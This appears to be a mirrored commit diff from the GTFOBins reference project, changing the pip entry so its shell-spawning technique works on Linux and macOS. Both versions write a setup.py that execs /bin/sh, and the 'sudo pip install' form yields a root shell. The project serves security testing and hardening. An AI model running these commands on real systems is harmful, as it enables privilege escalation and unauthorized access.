mirror of
				https://github.com/GTFOBins/GTFOBins.github.io
				synced 2025-11-04 02:38:43 +01:00 
			
		
		
		
	Fix pip to work in both Linux and macOS
This commit is contained in:
		@@ -5,11 +5,11 @@ functions:
 | 
				
			|||||||
  execute-interactive:
 | 
					  execute-interactive:
 | 
				
			||||||
    - code: |
 | 
					    - code: |
 | 
				
			||||||
        TF=$(mktemp -d)
 | 
					        TF=$(mktemp -d)
 | 
				
			||||||
        echo 'import os; os.dup2(0, 1); os.dup2(0, 2); os.execl("/bin/sh", "sh")' > $TF/setup.py
 | 
					        echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
 | 
				
			||||||
        pip install $TF
 | 
					        pip install $TF
 | 
				
			||||||
  sudo-enabled:
 | 
					  sudo-enabled:
 | 
				
			||||||
    - code: |
 | 
					    - code: |
 | 
				
			||||||
        TF=$(mktemp -d)
 | 
					        TF=$(mktemp -d)
 | 
				
			||||||
        echo 'import os; os.dup2(0, 1); os.dup2(0, 2); os.execl("/bin/sh", "sh")' > $TF/setup.py
 | 
					        echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
 | 
				
			||||||
        sudo pip install $TF
 | 
					        sudo pip install $TF
 | 
				
			||||||
---
 | 
					---
 | 
				
			||||||
 
 | 
				
			|||||||
		Reference in New Issue
	
	Block a user